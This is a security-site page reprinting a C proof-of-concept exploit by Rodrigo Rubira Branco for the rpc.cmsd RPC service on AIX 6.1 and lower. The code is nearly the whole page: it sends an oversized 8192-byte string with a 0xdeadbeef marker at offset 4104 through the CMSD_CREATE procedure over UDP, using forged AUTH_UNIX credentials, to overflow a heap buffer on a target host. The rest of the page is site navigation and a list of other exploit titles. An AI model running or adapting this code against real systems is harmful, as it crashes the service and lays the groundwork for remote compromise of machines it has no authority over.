首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
RPC.cmsd remote PoC for AIX 6.1 and lower
来源:http://www.kernelhacking.com/rodrigo 作者:Rodrigo 发布时间:2010-02-03  
/*
 * Rodrigo Rubira Branco (BSDaemon) - < rodrigo *noSPAM* risesecurity . org >
 * http://www.kernelhacking.com/rodrigo
 * http://www.risesecurity.org
*/

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <rpc/rpc.h>

#define CMSD_PROG 100068
#define CMSD_VERS 4
#define CMSD_CREATE 21


struct cm_send {
   char *s1;
   char *s2;
};

struct cm_reply {
   int i;
};

bool_t xdr_cm_send(XDR *xdrs, struct cm_send *objp)
{
   if(!xdr_wrapstring(xdrs, &objp->s1))
      return (FALSE);
   if(!xdr_wrapstring(xdrs, &objp->s2))
       return (FALSE);

   return (TRUE);
}

bool_t xdr_cm_reply(XDR *xdrs, struct cm_reply *objp)
{
   if(!xdr_int(xdrs, &objp->i))
      return (FALSE);
   return (TRUE);
}

int
main(int argc, char *argv[])
{
   char buffer[8192];
   long ret, offset;
   int len, x, y, i;
   char *hostname, *b;

   CLIENT *cl;
   struct cm_send send;
   struct cm_reply reply;
   struct timeval tm = { 10, 0 };
   enum clnt_stat stat;

   if(argc < 2) {
      printf("<< RPC.cmsd remote PoC for AIX 6.1 and lower! >>\n");
      printf("<< Rodrigo Rubira Branco (BSDaemon) - <rodrigo *noSPAM* kernelhacking .com> >>\n");
      printf("<< http://www.kernelhacking.com/rodrigo >>\n");
      printf("<< http://www.risesecurity.org >>\n");
      printf("Usage: %s [hostname]\n", argv[0]);
      exit(1);
   }

   hostname = argv[1];

   memset(buffer,0x60,sizeof(buffer)-1);
   memcpy(buffer+4104,"\xde\xad\xbe\xef",4); //0x20034748 heap

   send.s1 = buffer;
   send.s2 = "";

   printf("Calling vulnerable procedure ... ");

   cl = clnt_create(hostname, CMSD_PROG, CMSD_VERS, "udp");
   if(cl == NULL) {
      clnt_pcreateerror("clnt_create");
      printf("exploit failed; unable to contact RPC server\n");
      exit(1);
   }

   cl->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);
   stat = clnt_call(cl, CMSD_CREATE, xdr_cm_send, (caddr_t) &send,
                        xdr_cm_reply, (caddr_t) &reply, tm);

   if(stat == RPC_SUCCESS) {
      printf("not vuln!!\n");
      clnt_destroy(cl);
      exit(1);
   } else {
      printf("done!\n");
      clnt_destroy(cl);
      exit(0);
   }
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Digital Amp MP3 3.1 (.Mp3) Loc
·OpenCart suffers from a cross
·Deepburner pro 1.9.0.228 dbr f
·Remote command execution explo
·Qihoo 360 Security Guard breg
·UplusFtp Server v1.7.0.12 Remo
·CoreFTP v2.1 b1637 (password f
·MySQL yaSSL CertDecoder::GetNa
·Vermillion FTP Deamon v1.31 Re
·Novell iPrint Client ActiveX C
·Xerox Workcenter 4150 Remote B
·Novell iPrint Client ActiveX C
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved